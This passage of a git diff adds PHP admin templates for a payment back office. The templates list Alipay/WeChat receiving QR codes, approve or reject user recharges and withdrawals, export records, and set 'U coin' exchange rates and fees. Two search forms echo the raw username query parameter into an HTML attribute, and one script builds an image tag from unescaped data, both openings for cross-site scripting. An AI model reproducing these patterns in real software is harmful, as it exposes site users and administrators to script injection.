.save .upload .remove_btn{position: absolute; right: -2px; top: -9px; width: 22px; height: 22px; background:#fff; border-radius: 999px; box-shadow: 0 5px 20px 0 rgba(0,0,0,.2); font-size: 12px; color: #666; font-weight: 600; text-align: center; line-height: 22px; z-index: 99; }
|
||||
.save .upload .uploader_bg .uploader_num{position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); color: #FFFFFF; }
|
||||
#code_img img{width: 100%;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">收款银行列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">收款二维码列表</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="layui-row">
|
||||
<span class="layui-btn" style="margin-left: 20px;" onclick="showAdd()">添加</span>
|
||||
</div>
|
||||
<div class="x-body">
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>编号</th>
|
||||
<th>收款人账号</th>
|
||||
<th>二维码类型</th>
|
||||
<th>收款二维码</th>
|
||||
<th>状态</th>
|
||||
<th>创建时间</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="recharge_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.receivables_name}</td>
|
||||
<td>{$vo.receivables_type_word}</td>
|
||||
<td><img src="{$vo.receivables_qr_code}"></td>
|
||||
<td>{$vo.is_use}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>
|
||||
<a href="javascript:;" onclick="edit_code(this)" receivables_id="{$vo.id}" receivables_name="{$vo.receivables_name}" receivables_qr_code="{$vo.receivables_qr_code}" receivables_type="{$vo.receivables_type}" status="{$vo.status}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >修改</span>
|
||||
</a>
|
||||
</td>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$recharge_list->render()}
|
||||
</div>
|
||||
<div class="alert" id="alert_add">
|
||||
<div class="alert-title">添加收款二维码</div>
|
||||
<div class="alert-main">
|
||||
<section class="save">
|
||||
<h3 class="title">上传二维码</h3>
|
||||
<div class="upload clearfix">
|
||||
<ul class="img-box">
|
||||
</ul>
|
||||
<div class="upload_btn_item">
|
||||
<input class="upload_btn upload_file" type="file" accept="image/jpg,image/jpeg,image/png" multiple="">
|
||||
</div>
|
||||
<input type="hidden" id="img_url" value="">
|
||||
</div>
|
||||
</section>
|
||||
<div class="add_input">收款人账号:<input id="receivables_name" name="receivables_name" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">二维码类型: <input name="code_type" class="required code_type" type="radio" value="3" maxlength="20" style="color:#999;width:35px;"><span>支付宝</span>
|
||||
<input name="code_type" class="required code_type" type="radio" value="2" maxlength="20" style="color:#999;width:35px;"><span>微信</span></div>
|
||||
<div class="add_input">是否启用: <input name="is_use" class="required is_use" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked><span>是</span>
|
||||
<input name="is_use" class="required is_use" type="radio" value="0" maxlength="20" style="color:#999;width:35px;"><span>否</span></div>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="do_add_code()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
|
||||
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="alert" id="alert_edit">
|
||||
<div class="alert-title">修改收款二维码</div>
|
||||
<div class="alert-main">
|
||||
<input type="hidden" id="edit_receivables_id" value="">
|
||||
<div class="add_input" style="width: 150px;margin:0 auto;"><span id="code_img"></span></div>
|
||||
<div class="add_input">收款人账号:<input id="edit_receivables_name" name="edit_receivables_name" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">二维码类型: <input name="edit_code_type" class="required edit_code_type" type="radio" value="3" maxlength="20" style="color:#999;width:35px;"><span>支付宝</span>
|
||||
<input name="edit_code_type" class="required edit_code_type" type="radio" value="2" maxlength="20" style="color:#999;width:35px;"><span>微信</span></div>
|
||||
<div class="add_input">是否启用: <input name="edit_is_use" class="required edit_is_use" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked><span>是</span>
|
||||
<input name="edit_is_use" class="required edit_is_use" type="radio" value="0" maxlength="20" style="color:#999;width:35px;"><span>否</span></div>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="do_edit_code()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
|
||||
<span onclick="hiddenForm('alert_edit')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/recharge/index';
|
||||
if(id == "2") location.href = '/recharge/qr_code';
|
||||
});
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
// 显示用户的赔率
|
||||
function showAdd(){
|
||||
$('#alert_add').show();
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#receivables_name').val('');
|
||||
$('#receivables_bank').val('');
|
||||
$('#receivables_cardnum').val('');
|
||||
$('#' + id).hide();
|
||||
}
|
||||
function do_add_code(){
|
||||
var query = new Object();
|
||||
query.img_url = $('#img_url').val();
|
||||
query.receivables_name = $('#receivables_name').val();
|
||||
query.code_type = $('.code_type:checked').val();
|
||||
query.is_use = $('.is_use:checked').val();
|
||||
if(query.img_url.length == 0){
|
||||
layer.alert("请上传收款二维码!");
|
||||
return false;
|
||||
}
|
||||
if(query.receivables_name.length == 0){
|
||||
layer.alert("请填写收款人姓名!");
|
||||
return false;
|
||||
}
|
||||
if(query.code_type.length == 0){
|
||||
layer.alert("请选择二维码类型!");
|
||||
return false;
|
||||
}
|
||||
|
||||
if(query.is_use.length == 0){
|
||||
layer.alert("请选择收款银行卡状态!");
|
||||
return false;
|
||||
}
|
||||
var result = ajax('/recharge/do_add_code',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/recharge/qr_code";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
|
||||
}
|
||||
function edit_code(obj){
|
||||
$('input:radio[name="edit_is_use"]').removeAttr('checked');
|
||||
$('input:radio[name="edit_code_type"]').removeAttr('checked');
|
||||
var receivables_name = $(obj).attr('receivables_name');
|
||||
var receivables_qr_code = $(obj).attr('receivables_qr_code');
|
||||
var receivables_id = $(obj).attr('receivables_id');
|
||||
var receivables_type = $(obj).attr('receivables_type');
|
||||
var status = $(obj).attr('status');
|
||||
var src = "<img src='"+receivables_qr_code+"'>";
|
||||
$('#code_img').html(src);
|
||||
$('#edit_receivables_id').val(receivables_id);
|
||||
$('#edit_receivables_name').val(receivables_name);
|
||||
if(receivables_type == 2){
|
||||
$("input[name='edit_code_type'][value=2]").attr("checked",true);
|
||||
$("input[name='edit_code_type'][value=3]").removeAttr("checked");
|
||||
}else if(receivables_type == 3){
|
||||
$("input[name='edit_code_type'][value=3]").attr("checked",true);
|
||||
$("input[name='edit_code_type'][value=2]").removeAttr("checked");
|
||||
}
|
||||
if(status == 1){
|
||||
$("input[name='edit_is_use'][value=1]").attr("checked",true);
|
||||
$("input[name='edit_is_use'][value=0]").removeAttr("checked");
|
||||
}else{
|
||||
$("input[name='edit_is_use'][value=0]").attr("checked",true);
|
||||
$("input[name='edit_is_use'][value=1]").removeAttr("checked");
|
||||
}
|
||||
$('#alert_edit').show();
|
||||
}
|
||||
function do_edit_code(){
|
||||
var query = new Object();
|
||||
query.receivables_id = $('#edit_receivables_id').val();
|
||||
query.receivables_name = $('#edit_receivables_name').val();
|
||||
query.code_type = $('.edit_code_type:checked').val();
|
||||
query.is_use = $('.edit_is_use:checked').val();
|
||||
if(query.receivables_name.length == 0){
|
||||
layer.alert("请填写收款账号!");
|
||||
return false;
|
||||
}
|
||||
if(query.code_type.length == 0){
|
||||
layer.alert("请选择收款二维码类型");
|
||||
return false;
|
||||
}
|
||||
if(query.is_use.length == 0){
|
||||
layer.alert("请选择收款二维码状态!");
|
||||
return false;
|
||||
}
|
||||
var result = ajax('/recharge/do_edit_code',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/recharge/qr_code";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,198 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:300px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.alert-main {text-align: center;padding-top: 20px;}
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">充值记录</a>
|
||||
<a href="javascript:;" class="list-one" data-id="2">提现记录</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/recharge/recharge_record" method="get">
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户账户" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出 excel</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>充值类型</th>
|
||||
<th>收款方式ID</th>
|
||||
<th>充值着账号/姓名</th>
|
||||
<th>充值银行</th>
|
||||
<th>充值银行账户</th>
|
||||
<th>充值金额</th>
|
||||
<th>创建时间</th>
|
||||
<th>状态</th>
|
||||
<th>操作员</th>
|
||||
<th>备注</th>
|
||||
</tr>
|
||||
<tbody>
|
||||
{foreach name="recharge_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.recharge_type}</td>
|
||||
<td>{$vo.receivables_id}</td>
|
||||
<td>{$vo.recharge_name}</td>
|
||||
<td>{$vo.recharge_bank}</td>
|
||||
<td>{$vo.recharge_cardnumber}</td>
|
||||
<td>{$vo.recharge_money}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
{if condition="$vo.status == 0"}
|
||||
<td>
|
||||
<a href="javascript:;" onclick="deal_recharge({$vo.id})">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >充值</span>
|
||||
</a>
|
||||
<a href="javascript:;" onclick="show_remark({$vo.id})">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#f44336;" >拒绝</span>
|
||||
</a>
|
||||
</td>
|
||||
{elseif condition="$vo.status == 1"}
|
||||
<td>已充值</td>
|
||||
{elseif condition="$vo.status == 2"}
|
||||
<td>已拒绝</td>
|
||||
{/if}
|
||||
<td>{$vo.controller_admin}</td>
|
||||
<td>{$vo.remarks}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$recharge_list->render()}
|
||||
</div>
|
||||
<div class="alert" id="alert_add">
|
||||
<div class="alert-title">拒绝原因</div>
|
||||
<div class="alert-main">
|
||||
<input type="hidden" id="recharge_id">
|
||||
<div class="add_input"><textarea id="remarks" rows="3" cols="20" style="width: 280px;height: 150px;"></textarea></div>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="do_add_remarks()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
|
||||
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/recharge/recharge_record';
|
||||
if(id == "2") location.href = '/recharge/withdrawal_record';
|
||||
});
|
||||
|
||||
/*用户-删除*/
|
||||
function deal_recharge(id) {
|
||||
layer.confirm('确认要充值吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('充值操作出错!');
|
||||
return false;
|
||||
}
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.recharge_id = id;
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/recharge/deal_recharge',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/recharge/recharge_record?export=1&{$query}";
|
||||
layer.close(index);
|
||||
});
|
||||
});
|
||||
function show_remark(id){
|
||||
$('#recharge_id').val(id);
|
||||
$('#alert_add').show();
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#remarks').val('');
|
||||
$('#' + id).hide();
|
||||
}
|
||||
function do_add_remarks(){
|
||||
var query = new Object();
|
||||
query.record_id = $('#recharge_id').val();
|
||||
query.remarks = $('#remarks').val();
|
||||
if(query.remarks.length == 0){
|
||||
layer.alert("请填写拒绝原因!");
|
||||
return false;
|
||||
}
|
||||
var result = ajax('/recharge/do_add_remarks_recharge',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/recharge/recharge_record";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,87 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .pass_edit{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; } .change_box .pass_edit:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } .control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; } .control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; } .controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; } .controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; } .controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; } .bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; } .pass_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; } </style>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" _href="/recharge/setting" class="pass_edit">充值提现配置</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">充值U币:</label>
|
||||
<div class="controls">
|
||||
100 U币 =
|
||||
<input name="recharge_money" type="number" value="{$system.recharge_money}" class="required">
|
||||
分
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">提现U币:</label>
|
||||
<div class="controls">
|
||||
100 U币 =
|
||||
<input name="withdraw_money" type="number" value="{$system.withdraw_money}" class="required">
|
||||
分
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">提现U币手续费:</label>
|
||||
<div class="controls">
|
||||
<input name="withdraw_fee" type="number" value="{$system.withdraw_fee}" class="required">
|
||||
U币
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='pass_submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
<script type="text/javascript">
|
||||
$('.pass_submit').click(function(){
|
||||
var rechargeMoney = $('input[name="recharge_money"]').val();
|
||||
var withdrawMoney = $('input[name="withdraw_money"]').val();
|
||||
var withdrawFee = $('input[name="withdraw_fee"]').val();
|
||||
if(rechargeMoney == '' || rechargeMoney == null){
|
||||
layer.alert('请填写充值U币配置!');
|
||||
return false;
|
||||
}
|
||||
if(withdrawMoney == '' || withdrawMoney == null){
|
||||
layer.alert('请填写提现U币配置!');
|
||||
return false;
|
||||
}
|
||||
$.ajax({
|
||||
url:"/recharge/saveSetting",
|
||||
type:"POST",
|
||||
dataType:"JSON",
|
||||
data:{
|
||||
recharge_money:rechargeMoney,
|
||||
withdraw_money:withdrawMoney,
|
||||
withdraw_fee:withdrawFee,
|
||||
},
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg);
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</html>
|
||||
@@ -0,0 +1,195 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:300px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.alert-main {text-align: center;padding-top: 20px;}
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">充值记录</a>
|
||||
<a href="javascript:;" class="list-one actived" data-id="2">提现记录</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/recharge/recharge_record" method="get">
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户账户" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出 excel</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>提现银行</th>
|
||||
<th>提现银行支行</th>
|
||||
<th>提现银行账户</th>
|
||||
<th>提现银行账户名称</th>
|
||||
<th>提现金额</th>
|
||||
<th>创建时间</th>
|
||||
<th>状态</th>
|
||||
<th>操作员</th>
|
||||
<th>备注</th>
|
||||
</tr>
|
||||
<tbody>
|
||||
{foreach name="withdrawal_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.recharge_bank}</td>
|
||||
<td>{$vo.recharge_bank_branch}</td>
|
||||
<td>{$vo.recharge_cardnumber}</td>
|
||||
<td>{$vo.recharge_name}</td>
|
||||
<td>{$vo.recharge_money}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
{if condition="$vo.status == 0"}
|
||||
<td>
|
||||
<a href="javascript:;" onclick="deal_recharge({$vo.id})">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >提现</span>
|
||||
</a>
|
||||
<a href="javascript:;" onclick="show_remark({$vo.id})">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#f44336;" >拒绝</span>
|
||||
</a>
|
||||
</td>
|
||||
{elseif condition="$vo.status == 1"}
|
||||
<td>已提现</td>
|
||||
{elseif condition="$vo.status == 2"}
|
||||
<td>已拒绝</td>
|
||||
{/if}
|
||||
<td>{$vo.controller_admin}</td>
|
||||
<td>{$vo.remarks}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$withdrawal_list->render()}
|
||||
</div>
|
||||
<div class="alert" id="alert_add">
|
||||
<div class="alert-title">拒绝原因</div>
|
||||
<div class="alert-main">
|
||||
<input type="hidden" id="withdrawal_id">
|
||||
<div class="add_input"><textarea id="remarks" rows="3" cols="20" style="width: 280px;height: 150px;"></textarea></div>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="do_add_remarks()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
|
||||
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/recharge/recharge_record';
|
||||
if(id == "2") location.href = '/recharge/withdrawal_record';
|
||||
});
|
||||
|
||||
function deal_recharge(id) {
|
||||
layer.confirm('确认要提现吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('提现操作出错!');
|
||||
return false;
|
||||
}
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.recharge_id = id;
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/recharge/deal_withdrawal',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/recharge/withdrawal_record?export=1&{$query}";
|
||||
layer.close(index);
|
||||
});
|
||||
});
|
||||
function show_remark(id){
|
||||
$('#withdrawal_id').val(id);
|
||||
$('#alert_add').show();
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#remarks').val('');
|
||||
$('#' + id).hide();
|
||||
}
|
||||
function do_add_remarks(){
|
||||
var query = new Object();
|
||||
query.record_id = $('#withdrawal_id').val();
|
||||
query.remarks = $('#remarks').val();
|
||||
if(query.remarks.length == 0){
|
||||
layer.alert("请填写拒绝原因!");
|
||||
return false;
|
||||
}
|
||||
var result = ajax('/recharge/do_add_remarks',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/recharge/withdrawal_record";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,163 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
